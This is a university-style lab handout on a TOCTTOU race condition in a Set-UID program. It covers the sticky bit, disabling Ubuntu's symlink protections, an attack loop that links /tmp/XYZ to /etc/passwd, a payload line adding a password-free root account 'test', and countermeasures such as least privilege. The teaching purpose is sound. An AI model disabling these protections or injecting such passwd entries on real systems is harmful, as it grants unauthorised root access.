LAB: Race Condition (TOCTTOU) Vulnerability (2016 Version; Ubuntu 20.04 VM)

Some useful background information to Know:

/tmp folder:

- This is a "world-writable" directory used by programs to store temporary data

```
$ ls -ld /tmp
drwxrwxrwt 10 root root 4096 Nov  7 12:17 /tmp
```

Sticky Bit (also know as restricted deletion flag/bit):

- A single bit (indicated by 't') that can be set on files and directories
- It is typically set on world-writable directories like /tmp
- When a directory's sticky bit is set, a file in that directory can be deleted or renamed/moved only by the file's owner, directory's owner, or root user.
- This bit is set on a world-writable directory to prevent ordinary users from deleting or moving/renaming other users' files.

Example sticky directories in Linux:

```
$ ls -ld /tmp
drwxrwxrwt 10 root root 4096 Nov  7 12:39 /tmp

$ ls -ld /var/tmp
drwxrwxrwt 12 root root 4096 Nov  6 15:56 /var/tmp
```

/dev/null file or virtual device:

- Whatever a program writes to this file will be discarded
  (file treated as a black hole or bit bucket)
- When you try to read from this file, it will return EOF
- Typically used for discarding unwanted output or as an empty file for input

More information on sticky bit (from wikipedia):

The sticky bit is a user ownership access right flag that can be assigned to files and directories on Unix-like systems.

There are two definitions: one for files, one for directories.

For files, particularly executables, superuser could tag these as to be retained in main memory, even when their need ends, to minimize swapping that would occur when another need arises, and the file now has to be reloaded from relatively slow secondary memory. This function has become obsolete due to swapping optimization.

For directories, when a directory's sticky bit is set, the filesystem treats the files in such directories in a special way so only the file's owner, the directory's owner, or root user can rename or delete the file. Without the sticky bit set, any user with write and execute permissions for the directory can rename or delete contained files, regardless of the file's owner. Typically this is set on the /tmp directory to prevent ordinary users from deleting or moving other users' files.

The modern function of the sticky bit refers to directories, and protects directories and their content from being hijacked by non-owners; this is found in most modern Unix-like systems. Files in a shared directory such as /tmp belong to individual owners, and non-owners may not delete, overwrite or rename them.

About Race Conditions

A system (software or hardware) has a race condition if its behavior or output is dependent on sequence or timing of other/external uncontrollable events.

Race conditions can occurr in application software, system software, kernel, and hardware.

A race condition occurs when a shared resource is accessed by multiple threads or processes whose operations are interleaved.

Typically this happens in a multi-threaded and/or distributed systems.

The undesirable program behavior or output is difficult to reproduce due to dependence on the relative timing between interfering processes or threads. Often, the undesirable program behavior may be reproducible if the program with race conditions is executed many times, if one is lucky.

What are some uncontrollable events?

- Processor speed (in a distributed system)
- Time allocated to a process/thread
- Time when a process/thread is context switched
- CPU scheduling algorithm used
  (first come first served, round-robin, shortest-time job first, shortest-time remaining job first, ...)
- Process is CPU-bound or IO-bound

Race conditions can have associated security implications.

Lab Files:

vulp1.c: target program with "time-of-check to time-of-use" (TOCTTOU) race condition vulnerability

attack.c: attack program that runs in parallel to the target program looking to exploit the window of opportunity between "time of check" and "time of use" in the target program

repeat_check1.sh: bash shell script that runs the target program in vulp1.c in a loop

passwd_input: file that contains a single line of data that will be inserted into /etc/passwd file as part of the attack on the vulnerable program

vulp2.c: modified target program that applies the "principle of least privilege" to downgrade the root privilege as a countermeasure to race condition vulnerability

repeat_check2.sh: bash shell script that runs the target program in vulp2.c in a loop

Lab Instructions:

I recommended that you start and finish all lab steps/tasks in a single session.

1) Race condition attacks typically target a file that is a symbolic link in a world-writable directory such as /tmp.

   To prevent such race condition attacks, Ubuntu has a countermeasure that restricts a program from following a symbolic link from a world-writable directory such as /tmp. This countermeasure is enabled by default.

   Let's turn off this countermeasure so attack attempts can be made against a vulnerable program when it tries to write to a file in /tmp directory. The attacker uses symbolic link approach to exploit race condition vulnerability in the target program.

   ```
   $ sudo sysctl -w fs.protected_symlinks=0
   $ sudo sysctl fs.protected_regular=0
   ```

2) Compile the target program (vulp1.c) and turn its executable into a root owned Set-UID program.

   The vulnerable program in vulp1.c writes to file XYZ in /tmp directory.

   This program first checks to see if the user running this program has write permission to /tmp/XYZ file and then opens this file to append some user supplied input that is redirected from file "passwd_input".

Checking file for write permission (TOC) and opening the file (TOU) for writing are two separate operations so there is a window of opportunity between TOC and TOU. It is possible that the target program may be context switched right after the TOC operation but before the TOU operation. This behavior or timing is not predictable.

The attack program (attack.c) will repeatedly try to execute some code between TOC and TOU to symbolically link /tmp/XYZ to /etc/passwd file so the vulnerable program, after some number of repeated attempts by the attack program, ends up writing to /etc/passwd file with user supplied input from "passwd_input" file.

The passwd_input file contains a single line of data that when inserted into the /etc/passwd file by the privileged, but vulnerable, target program adds a new user account in the system with username "test" with no password and with root privileges.

```
$ gcc -m32 -o vulp1 vulp1.c
$ sudo chown root vulp1
$ sudo chmod 4755 vulp1
```

3) Let's compile the attack program (attack.c) which would run in a loop in parallel to the target (vulnerable) program to set /tmp/XYZ to point to file /etc/passwd. To be successful at the attack, the attack program must do the symbolic linking of /tmp/XYZ to /etc/passwd between TOC and TOU operations in the target program. When this specific interleaving of these operations by both the vulnerable program and the attack program happens and how many attempts will be needed before this situation occurs cannot be predicted.

   All the attack program needs is one occurrence of such race condition for the attack to materialize (i.e., make the vulnerable program to write to the /etc/passwd file to add a user with root privilege).

```
$ gcc -m32 -o attack attack.c
```

4) Let's understand the contents of files "passwd_input" and "repeat_check1.sh"

   passwd_input file contains information about a user account that will be added to /etc/passwd file by the target program. Note the values of the password and UID fields in the single line of this file.

   passwd_input file contains user account information for a user named "test" with UID and EUID set t0 0 (therefore has root privileges).

```
$ cat passwd_input
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
$
```

   repeat_check1.sh contains a script used to run the target program in "vulp1" in a loop until the /etc/passwd file is modified. When this script stops, it will print the message "STOP... The passwd file has been changed"

```
$ cat repeat_check1.sh
#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)

while [ "$old" == "$new" ]
do
    ./vulp1 < passwd_input
    new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
$
```

5) Make the script repeat_check1.sh executable:

```
$ chmod +x repeat_check1.sh
```

6) Let's run the attack program in the background using this command at the prompt:

```
$ ./attack &
```

7) Run the script in repeat_check1.sh:

```
$ bash repeat_check1.sh
No permission
No permission
.
.
.
STOP... The passwd file has been changed
$
```

IMPORTANT: Let the script run for about 4-5 minutes and wait for it to stop.
If the script still fails to stop, go to STEP 8. Otherwise, continue with the rest of this step.

Stop the attack program by first bringing it to foreground and then terminate it:

```
$ fg
...
$ CTRL^C        ; terminates the attack program
```

Let's see if the new user account is added to /etc/passwd file:

```
$ cat /etc/passwd
...
...
...
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
$
```

Verify the creation of "test" account by logging into that account:
Do not enter anything for "Password:" - just press enter.

```
$ su test
Password:
root@VM:/home/seed/SEEDLabs/RaceCondition# id
uid=0(root) gid=0(root) groups=0(root)
root@VM:/home/seed/SEEDLabs/RaceCondition# whoami
root
root@VM:/home/seed/SEEDLabs/RaceCondition# exit
$
```

Now edit /etc/passwd file to remove the "test" account information added by the attack program.

DANGER: The entry for "test" account will be the last line(s) in this file. Take extra care while editing this file and only delete the test account line(s).

```
$ sudo gedit /etc/passwd
```

After editing, saving, and exiting the /etc/passwd file, go to STEP 9.

8) If the attack did not work (i.e., the script did not terminate), it is possible that the file /tmp/XYZ's owner has become "root". We need to delete the /tmp/XYZ file and repeat step 7.

```
$ CTRL^C                // kill the running repeat_check1.sh script

$ ls -l /tmp/XYZ        // check the owner of this file
```

If the owner of the file is seed, then go back to Step 7.

If the owner of the file is root, then remove this file and go back to Step 7.

```
$ sudo rm /tmp/XYZ      // remove the file
```

9) Countermeasure by applying the "principle of least privilege"

The vulnerable program in vulp1.c has too much privilege that makes the attack (opening and modifying /etc/passwd file) possible.

Let's temporarily disable the root privilege before the file operations and later enable it as necessary.

Compile vulp2.c (code here applies the principle of least privilege):

```
$ gcc -m32 -o vulp2 vulp2.c
$ sudo chown root vulp2
$ sudo chmod 4755 vulp2
```

Run the attack program in background:

```
$ ./attack &
```

Make the script repeat_check2.sh executable:

```
$ chmod +x repeat_check2.sh
```

Run the script in repeat_check2.sh using the command:

```
$ bash repeat_check2.sh
```

Look for segmentation fault error message in the output and terminate the script execution after noticing the error message in the scrolling output.

When you notice a segmentation fault error message in the scrolling output, quickly terminate the script pressing CTRL^C. Capture the segmentation fault message with a screenshot (your screenshot must show the segmentation fault error message).

```
$ bash repeat_check2.sh
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
...
repeat_check2.sh: line 11: 25388 Segmentation fault      ./vulp2 < passwd_input
No permission
No permission
No permission
No permission
No permission
No permission
```

The segmentation fault indicates that the attempt to open and modify the protected file /etc/passwd failed in the vulnerable program (vulp2.c) due to the lack of proper privileges. Normal user can't open and write to file /etc/passwd.

Terminate the attack program running in the background:

```
$ fg            ; bring it to foreground
...
$ CTRL^C        ; terminate the attack program
$
```

**** YOUR ARE DONE WITH LAB TASKS, BUT CONTINUE TO READ ABOUT COUNTERMEASURES BELOW ****

Summary of countermeasures for Race Condition Vulnerability
===

Several approaches to solve the race condition problem exist:

1) Eliminate the window between time of check and time of use

    Make the TOC and TOU operations atomic (i.e., one operation instead of two)
    which eliminates the window between TOC and TOU. Details skipped.

2) Make it difficult for attackers to win the "race"

    Add more race conditions to the code. The attacker needs to win them all
    to successfully launch an attack. As we saw in this lab, winning one race condition
    is hard enough (took us multiple trials) and winning multiple/all race conditions
    placed (intentionally by the programmer) in the code is significantly harder.

3) Prevent attackers from causing damages inside the window after they have won the "race"

    If TOCTTOU race condition vulnerabilities involve symbolic links inside
    the /tmp (or any world-writable sticky directory), make use of the built-in
    protection mechanism in Ubuntu that prevents programs from following
    symbolic links from such directories.

```
        $ sudo sysctl -w fs.protected_symlinks=1    // to enable
```

    When the sticky symlink protection is enabled, symbolic links inside a sticky
    world-writable directory can only be followed when the owner of the symlink
    matches either the follower or the directory owner.

4) Prevent attackers from doing anything inside the window

    Apply the principle of least privilege. Even if the attacker wins the race,
    the program that has the race condition vulnerability can't do any damage
    because of lack of proper privileges. The code in the vulnerable program is
    operating with just enough privileges to do its job.

    Set the effective user id of a privileged process to the real user id of
    process (effectively dropping the privileges initially assigned to such process)
    and restoring the privileges later if needed.

********* END of Race Condition Vulnerability LAB ***************